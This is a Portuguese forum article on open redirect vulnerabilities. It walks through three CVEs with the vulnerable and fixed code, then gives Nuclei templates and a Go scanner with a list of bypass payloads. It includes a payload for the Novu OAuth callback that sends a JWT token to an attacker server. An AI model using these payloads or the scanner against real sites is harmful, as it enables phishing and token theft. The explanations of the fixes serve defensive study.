Redirecionamentos abertos e fechados
Este artigo é sobre uma vulnerabilidade vendida por hackers negros e removida por hackers brancos. Por que? Porque ela é inútil para nós. Como você já entendeu, a vulnerabilidade é um redirecionamento aberto, mas na maioria dos casos não é aceita pelas plataformas de segurança, pois requer interação do usuário, ou, como dizemos, “phishing”. Então, estou tomando meu café como sempre, e alguém me escreveu no fórum que quer comprar um redirecionamento aberto para a empresa X, e a empresa X é grande o suficiente para ter vulnerabilidades, obviamente tive que dizer não porque é antiético . Tento não ultrapassar os limites, gosto de explorar e por enquanto isso é o suficiente. De qualquer forma, esse cara me deu a ideia de procurar redirecionamentos abertos na organização Y. Este é outro artigo que explica maneiras de automação, fáceis e médias (outra maneira fácil) de encontrar uma vulnerabilidade.
Redirecionamento aberto
Um Open Redirect é uma vulnerabilidade que ocorre quando um aplicativo da web é manipulado para redirecionar um usuário para outro site, geralmente um site externo não confiável e potencialmente malicioso. As vulnerabilidades do Open Redirect exploram a confiança do usuário em um determinado site para redirecioná-lo para locais maliciosos. Por confiável quero dizer domínio, o usuário vê que existe um link confiável, "xss.is/?redirectUrl=xss[.]bz" - neste exemplo, que é xss.is, e quando o usuário clica nele, ele é redirecionado para um site não confiável, xss[.]bz. Este tipo de vulnerabilidade é o resultado de validação/falta de filtragem inadequada ao processar URLs fornecidos pelo usuário. Quando um aplicativo da web aceita entrada não validada especificando o destino do redirecionamento, os hackers podem substituí-la por seu URL malicioso.
A situação em nosso mundo
As vulnerabilidades do Open Redirect são frequentemente ignoradas, embora representem uma ameaça significativa devido à sua natureza indireta e à facilidade com que podem ser exploradas por invasores. Infelizmente, os programas de divulgação de vulnerabilidades concentram-se em métodos de ataque direto (SQL/XSS, etc.) em vez de vulnerabilidades como manifestação de conteúdo/redirecionamento aberto, etc. Obviamente, como resultado, eles estão expostos a simples ataques de phishing.
Como funciona um redirecionamento aberto?​
Um Redirecionamento Aberto ocorre quando um aplicativo pega uma URL fornecida pelo usuário e a utiliza para redirecioná-lo para uma nova página sem a validação adequada. Pode ser um parâmetro enviado em uma solicitação POST ou um parâmetro na URL em uma solicitação GET. Se você encontrar um redirecionamento aberto em uma solicitação POST, as empresas nem irão olhar para ele, obviamente dependendo do caso, mas na maioria das vezes ele será ignorado. Mas numa solicitação GET, isso será pelo menos considerado. O processo geralmente é assim:
Entrada do usuário : O usuário clica em um link que deve redirecioná-lo dentro do mesmo serviço (site). Porém, este link possui uma configuração que pode ser controlada pelo usuário. Digamos que o parâmetro redirectURL.
Verificação do sistema : o aplicativo da web não limpa esta entrada. Como resultado, não distingue entre direções internas e externas. Assim, o valor do parâmetro torna-se um site malicioso.
Exploração : O aplicativo realiza um redirecionamento com base na entrada do hacker e o usuário, após clicar em um link “confiável”, é redirecionado para um site malicioso.

Não existem tipos específicos de redirecionamentos abertos, mas se eu tivesse que categorizá-los, distinguiria três tipos com base na minha experiência:
Redirecionamentos não verificados: são redirecionamentos que não requerem nenhuma autenticação. Portanto, a vulnerabilidade não é autenticada (não autenticada/sem login).
Redirecionamentos verificados: como você pode imaginar, são redirecionamentos que requerem autenticação OU ocorrem durante o processo de autenticação. Um ótimo exemplo disso seria o serviço OAuth, que permite redirecionamentos e pode ser usado por hackers para roubar tokens.
Serviços de terceiros: seu site pode estar integrado a serviços de terceiros que apresentam esta vulnerabilidade ou “funcionalidade”. Um bom exemplo são os plug-ins de encurtamento de URL. Você adiciona um plug-in de encurtamento de URL ao seu fórum e os invasores o usam para fazer phishing em seus usuários.

CVE-2023-5375​
Tentarei explicar isso da forma mais simples possível, vamos verificar o exploit em si antes de verificar o código.

http://127.0.0.1:8080/project/switch/1? … google.com

Podemos anotar para nós mesmos quando as coisas ficam complicadas, mas este caso é simples, como a maioria dos casos de redirecionamento aberto. O parâmetro vulnerável é "targetPath".
Código vulnerável:

// Redirect back to the originally requested path
        $targetPath = $request->query->get('targetPath', false);
        if ($targetPath) {
            return $this->redirect($targetPath);
        }

        return $this->redirectToRoute('dashboard');
    }
    protected function setActiveProject(Request $request, Project $project): bool
    {
        if (!$this->isGranted('ROLE_ADMIN') && !$project->isProjectMember($this->getUser())) {
            return false;
        }
        $request->getSession()->set('activeProjectId', $project->getId());

        return true;
    }
}

A parte principal deste código é:

$targetPath = $request->query->get('targetPath', false);
if ($targetPath) {
    return $this->redirect($targetPath);
}



Uma vulnerabilidade de redirecionamento aberto ocorre quando um aplicativo da web redireciona cegamente o usuário para o URL especificado na solicitação, sem qualquer verificação. Neste código, $targetPath é retirado diretamente do parâmetro de solicitação e usado no método de redirecionamento sem qualquer validação.

Versão corrigida do código:

// Redirect back to the originally requested path
        $targetPath = $request->query->get('targetPath', false);
        if ($targetPath && $this->isLocalUrl($request, $targetPath)) {
            return $this->redirect($targetPath);
        }

        return $this->redirectToRoute('dashboard');
    }
    protected function setActiveProject(Request $request, Project $project): bool
    {
        if (!$this->isGranted('ROLE_ADMIN') && !$project->isProjectMember($this->getUser())) {
            return false;
        }
        $request->getSession()->set('activeProjectId', $project->getId());

        return true;
    }

    protected function isLocalUrl(Request $request, $url): bool
    {
        // If the first character is a slash, the URL is relative (only the path) and is local
        if (str_starts_with($url, '/')) {
            return true;
        }

        // If the URL is absolute but starts with the host of mosparo, we can redirect it.
        // Add the slash to prevent a redirect when a similar top-level domain is used.
        // For example, mosparo.com should not allow a redirect to mosparo.com.au
        if (str_starts_with($url, $request->getSchemeAndHttpHost() . '/')) {
            return true;
        }

        // The URL does not match the two checks because it's an external URL; no redirect in that case.
        return false;
    }
}

Existem 2 alterações importantes feitas neste código:
O novo método isLocalUrl foi projetado para verificar se uma determinada URL é local para o aplicativo. Este método realiza duas verificações principais. Ele primeiro verifica se o URL começa com uma barra (/), indicando que é um caminho relativo e, portanto, local. Segunda verificação - verifica se o URL é absoluto, mas começa com o mesmo esquema e host do aplicativo, garantindo que o redirecionamento permaneça no mesmo domínio. E obviamente a lógica de redirecionamento mudou, o targetPath agora é verificado usando o método isLocalUrl. Isso garante que o aplicativo redirecione apenas para URLs que sejam caminhos relativos ou URLs absolutos que pertençam ao mesmo domínio.

Algo de minha autoria:
não sou desenvolvedor PHP, analisei usando google + AI, pelo que entendi, eles usaram o método $request->getSchemeAndHttpHost() para obter o esquema e host da aplicação. Este método identifica o host (domínio) a partir do cabeçalho "Host", portanto, se você, digamos, enviar uma solicitação para "xss.is" com o cabeçalho do host "xss.bz", tecnicamente deverá gerar um erro, mas se for não, então você pode abusar do método (já que o método aceitará este host como domínio principal - mas tecnicamente isso não deveria acontecer porque com o host errado este site não abrirá e o erro 5xx aparecerá). NOVAMENTE, não sou desenvolvedor e não tenho muita experiência em programação, então posso estar errado, mas acho que essa é uma forma possível de abusar do método. Outra forma de abusar desse método é por meio de cargas úteis como '//google.com/', com certeza ele passará na primeira verificação, mas não sei como será processado posteriormente.

Pelo que entendi, este caso é o segundo tipo de redirecionamento aberto, Redirecionamento verificado, que pode ser explorado APÓS a autenticação.
CVE-2023-35948​
Há uma vulnerabilidade de redirecionamento aberto no Novu quando os usuários tentam fazer login via github.
Vamos verificar o login do Github primeiro:

@Get('/github/callback')
  @UseGuards(AuthGuard('github'))
  async githubCallback(@Req() request, @Res() response) {
    if (!request.user || !request.user.token) {
      return response.redirect(`${process.env.FRONT_BASE_URL + '/auth/login'}?error=AuthenticationError`);
    }

    let url = process.env.FRONT_BASE_URL + '/auth/login';
    const redirectUrl = JSON.parse(request.query.state).redirectUrl;

    /**
     * Make sure we only allow localhost redirects for CLI use and our own success route
     * https://github.com/novuhq/novu/security/code-scanning/3
     */
    if (redirectUrl && redirectUrl.startsWith('http://localhost:')) {
      url = redirectUrl;
    }

    url += `?token=${request.user.token}`;

    if (request.user.newUser) {
      url += '&newUser=true';
    }

    /**
     * partnerCode, next and configurationId are required during external partners integration
     * such as vercel integration etc
     */
    const partnerCode = JSON.parse(request.query.state).partnerCode;
    if (partnerCode) {
      url += `&code=${partnerCode}`;
    }

    const next = JSON.parse(request.query.state).next;
    if (next) {
      url += `&next=${next}`;
    }

    const configurationId = JSON.parse(request.query.state).configurationId;
    if (configurationId) {
      url += `&configurationId=${configurationId}`;
    }

    const invitationToken = JSON.parse(request.query.state).invitationToken;
    if (invitationToken) {
      url += `&invitationToken=${invitationToken}`;
    }

    return response.redirect(url);
  }

Não vou analisar todo o código, pois tudo o que preciso agora é entender o que o usuário envia e o que ele recebe em resposta, bem como de onde (para qual domínio) vem a resposta. Os usuários são redirecionados para a página de login do GitHub OAuth para autenticação. Depois de fazer login com sucesso no GitHub, o GitHub redireciona o usuário de volta para o aplicativo (/github/callback endpoint). E tal solicitação será enviada https://<novu_api>/v1/auth/github/callback?code={code}&state={"source":"web","redirectUrl":"http://localhost: pass/ "} , em resposta você receberá um token JWT http://localhost:pass/?token= <JWT_token>. E o parâmetro deve começar com ' http://localhost :'. À primeira vista, parece seguro porque o invasor deve de alguma forma iniciar o URL de redirecionamento com http://localhost :.
Mas aqui está o código vulnerável:

if (redirectUrl && redirectUrl.startsWith('http://localhost:')) {
      url = redirectUrl;
    }

Este código verifica se a variável redirectUrl está definida e não é nula ou vazia. Se redirectUrl não estiver definido ou estiver vazio, o bloco de código dentro do if não será executado. Se redirectUrl existir e não estiver vazio, ele verifica se começa com a string ' http://localhost :'.
Carga útil usada para ataque:

https://<novu_api>/v1/auth/github/callback?code=&state={"source":"web","redirectUrl":"http://localhost:pass@<attacker_server>/"}

Portanto, quando o invasor usou @, em vez de redirecionar para o servidor original, ele redirecionou para o servidor do invasor:

http://localhost:pass@<attacker_server>/?token=<JWT_token>

Posso estar errado, mas pelo que entendi, neste caso o servidor do invasor é o domínio principal, e localhost:pass é usado como uma espécie de subdomínio que redireciona para o domínio principal. Exemplo ao vivo:
https://localhost:pass@evil.com/
Ao clicar neste link, você será redirecionado para evil.com. Por que? Porque o navegador interpreta a parte após @ (evil.com) como o destino real e redireciona você para lá. Esta é uma medida de segurança para evitar phishing, onde um usuário pode ser induzido a pensar que está acessando um link de host local seguro, quando na verdade está sendo redirecionado para um site externo malicioso. Assim, a medida de segurança implementada pelo próprio navegador torna-se uma ameaça, o que é tão irônico xD

Código corrigido:

if (redirectUrl && redirectUrl.startsWith('http://localhost:') && !redirectUrl.includes('@')) {

Agora neste código a URL deve começar com localhost, não pode ser nula e não deve incluir '@'.

Este também é o segundo tipo misturado com o terceiro tipo de redirecionamentos abertos, em que a vulnerabilidade ocorre DURANTE a autenticação.
CVE-2023-0748​
Nesse caso, o código vulnerável está em toda parte, então vamos começar com uma das explorações:

https://mainnet.demo.btcpayserver.org/r … //evil.com

A parte vulnerável é o parâmetro "returnUrl", agora vamos verificar como fica no código:

<a href="@Model.ReturnUrl" class="btn btn-primary btn-lg mt-3 px-5 order-3" id="proceed" rel="noreferrer noopener">Done</a>

Não tenho absolutamente nenhuma experiência com C#, então vamos começar como novatos. Vemos que o problema provavelmente está em @Model.ReturnUrl, "Model" é o objeto que é passado do controlador para a view. Ele contém as informações que precisam ser processadas, que no nosso caso é a URL. ReturnUrl é uma variável dentro do objeto "Model". Ele armazena um valor que representa o URL retornado que redireciona os usuários de volta para uma página específica. O problema aqui é que não há higienização alguma.

O código corrigido fica assim:

<a href="@Url.EnsureLocal(Model.ReturnUrl)" class="btn btn-primary btn-lg mt-3 px-5 order-3" id="proceed" rel="noreferrer noopener">Done</a>

GarantaLocal é um método fornecido pelo objeto Url que garante que uma URL seja local. Model.ReturnUrl, como eu disse, refere-se a uma variável chamada ReturnUrl no objeto Model. Agora a questão é como funciona o método GarantaLocal. Aqui está o código principal criado para corrigir esta vulnerabilidade

public static string? EnsureLocal(this IUrlHelper helper, string? url, HttpRequest? httpRequest = null)
        {
            if (url is null || helper.IsLocalUrl(url))
                return url;
            if (httpRequest is null)
                return null;
            if (Uri.TryCreate(url, UriKind.Absolute, out var r) && r.Host.Equals(httpRequest.Host.Host))
                return url;
            return null;
        }

Este código verifica se a URL está vazia ou local (usando o método IsLocalUrl do objeto IUrlHelper). Se uma das condições for verdadeira, o método retorna o URL como está. IsLocalUrl verifica se a URL é relativa (local), caso contrário retorna falso. Se for verdade, verifica se httpRequest está vazio. Nesse caso, o método retorna nulo. httpRequest é usado para comparar o host de uma URL com o host da solicitação atual. Depois disso, ele tenta criar um novo objeto Uri a partir da URL. Se isso for bem-sucedido, o objeto Uri resultante será armazenado na variável r. Em seguida, ele verifica se o host deste Uri recém-criado (r.Host) corresponde ao host da solicitação HTTP atual (httpRequest.Host.Host). Se corresponderem, ele retorna a URL, confirmando que é uma URL absoluta apontando para o mesmo host da solicitação atual.

Em palavras simples, se bem entendi . O URL está vazio? Pare, se não estiver vazio, continuamos e verificamos se é local ou não, se local, existem 2 casos, xss.is/1 é local como /1, então verifica se o link corresponde ao host ou não, se for corresponde, então ele continua (isto é, nos casos xss.is/1, em /1 já é local). Em seguida, ele cria um link para o redirecionamento e verifica novamente se o host corresponde ao domínio nesse link (por exemplo, a partir de /3 ele fará xss.is/3 e verificará se xss.is é o host ou não), se sim , então legal.

Essa lógica é usada em toda a plataforma para evitar vulnerabilidades de redirecionamento aberto.
Organização Y
Pelo que vemos, as vulnerabilidades de redirecionamento aberto geralmente podem ser identificadas por meio de parâmetros como redirectUrl, etc. Então, vamos pensar nas etapas básicas de automação:
O site deve ser rastreado e os valores dos parâmetros removidos
Os valores removidos devem ser substituídos pela URL que queremos que o redirecionamento ocorra
A ferramenta precisa verificar se ocorreu um redirecionamento ou não, isso pode ser feito através de um cabeçalho chamado “Localização”
O caminho fácil
A maneira mais fácil de fazer isso é usar núcleos, ele identifica facilmente redirecionamentos abertos e há muitos plugins para CVEs que possuem redirecionamentos abertos, então usá-lo é na verdade a maneira mais fácil de identificar essas vulnerabilidades. Vejamos alguns plugins:
Sap Redirect:

http:
  - method: GET
    path:
      - "{{BaseURL}}/sap/public/bc/icf/logoff?redirecturl=https://interact.sh"

matchers:
      - type: status
        status:
          - 302

      - type: word
        words:
          - "Location: https://www.interact.sh"
          - "Location: https://interact.sh"

Basicamente, ele adiciona '/sap/public/bc/icf/logoff?redirecturl= https://interact.sh ' à URL e verifica o cabeçalho conforme escrevemos acima. Aqui está outro plugin para CVE-2022-0087:

- method: GET
    path:
      - "{{BaseURL}}/signin?from=https://interact.sh"
      - "{{BaseURL}}/signin?from=javascript:alert(document.cookie)"

matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Location: https://interact.sh"

      - type: word
        part: body
        words:
          - "alert(document.cookie)"

Existem duas vulnerabilidades aqui, XSS e redirecionamento aberto, a lógica de verificação é a mesma. Portanto, usar núcleos não é tão ruim assim.
Outra maneira simples
O Nuclei verifica plugins prontos, o que é ruim se você planeja usar núcleos em algum produto onde o objetivo é encontrar 0day. Minha preferência é que você use um scanner que obtenha todos os parâmetros necessários e, em seguida, use esses parâmetros para verificar vulnerabilidades de redirecionamento aberto. Você pode usar o burp pro crawler ou qualquer outra ferramenta de código aberto como o bablo que esteja participando da competição. A utilização dessas ferramentas é simples e tem a mesma finalidade – a digitalização. Depois disso, você pode escrever uma ferramenta que irá substituir os parâmetros por alguma URL e verificar se o redirecionamento para aquela URL ocorre através do cabeçalho.

package main

import (
    "crypto/tls"
    "flag"
    "fmt"
    "net/http"
    "net/url"
    "strings"
    "sync"
)

func main() {
    fmt.Println("Made with lyubofff by GrozdniyAndy of XSS.is")
    flag.Parse()

    inputURL := flag.Arg(0)
    if inputURL == "" {
        fmt.Println("Please provide a URL")
        return
    }

    replacements := []string{
        "interact.sh", "@interact.sh", "http://interact.sh", "https://interact.sh",
        ".interact.sh", "/interact.sh", "/.interact.sh", `\/interact.sh`, `\/.interact.sh`,
        `\/\/.interact.sh`, `\/\/interact.sh`, `/\/interact.sh`, `/\/.interact.sh`,
        ";interact.sh", ";.interact.sh", "/http://interact.sh", "/https://interact.sh",
        "http://;@interact.sh", "https://;@interact.sh",
    }

    if !strings.HasPrefix(inputURL, "http://") && !strings.HasPrefix(inputURL, "https://") {
        var wg sync.WaitGroup
        wg.Add(2)
        go processInputURL("http://"+inputURL, replacements, &wg)
        go processInputURL("https://"+inputURL, replacements, &wg)
        wg.Wait()
    } else {
        processInputURL(inputURL, replacements, nil)
    }
}

func processInputURL(inputURL string, replacements []string, wg *sync.WaitGroup) {
    if wg != nil {
        defer wg.Done()
    }

    httpClient := &http.Client{
        CheckRedirect: func(req *http.Request, via []*http.Request) error {
            return http.ErrUseLastResponse
        },
    }

    if strings.HasPrefix(inputURL, "https://") {
        httpClient.Transport = &http.Transport{
            TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
        }
    }

    parsedURL, err := url.Parse(inputURL)
    if err != nil {
        fmt.Printf("Error parsing URL: %v\n", err)
        return
    }

    query := parsedURL.Query()
    for key, originalValues := range query {
        for _, originalValue := range originalValues {
            for _, replacement := range replacements {
                query.Set(key, replacement)
                testURL := *parsedURL
                testURL.RawQuery = query.Encode()
                testRedirect(testURL.String(), httpClient, key, originalValue, replacement)
            }
            query.Set(key, originalValue)
        }
    }
}

func testRedirect(testURL string, httpClient *http.Client, key, originalValue, replacement string) {
    resp, err := httpClient.Get(testURL)
    if err != nil {
        fmt.Printf("Error making HTTP request to '%s': %v\n", testURL, err)
        return
    }
    defer resp.Body.Close()

    if resp.StatusCode >= 300 && resp.StatusCode < 400 {
        location, err := resp.Location()
        if err == nil && strings.Contains(location.Host, "interact.sh") {
            fmt.Printf("Success: '%s' - Parameter '%s' with original value '%s' replaced with '%s' redirected to 'interact.sh'\n", testURL, key, originalValue, replacement)
        } else {
            fmt.Printf("Fail: '%s' - Parameter '%s' with original value '%s' replaced with '%s' did not redirect to 'interact.sh'\n", testURL, key, originalValue, replacement)
        }
    } else {
        fmt.Printf("No redirect: '%s' - Parameter '%s' with original value '%s' replaced with '%s'\n", testURL, key, originalValue, replacement)
    }
}

Então, o que esse código faz. Ele verifica se você forneceu um endereço da web (URL) para trabalhar. Se você não fornecer um URL, ele solicitará um e será interrompido. Existe uma lista de payloads para redirecionamento aberto, todos associados a "interact.sh". Em seguida, ele usará essas cargas para alterar o URL. A parte principal do código leva sua URL e uma lista de substituições para iniciar seu trabalho. Ele configura a forma como lida com solicitações da web, garantindo que pode lidar com redirecionamentos (onde um endereço da web redireciona você para outro) e conexões seguras (https - não verificará o certificado SSL, portanto não importa se o certificado do site expirou ou não). Se o seu URL não começar com "http://" ou "https://", a ferramenta adicionará "http://" e " https://" . O código então analisa cada parâmetro e substitui o valor de cada parâmetro por cada uma das cargas úteis da lista e testa o novo URL que ele cria. Para cada URL alterada, a ferramenta verifica o que acontece ao tentar acessá-la. Ele verifica especificamente se o site está redirecionando a solicitação para um site que contém "interact.sh".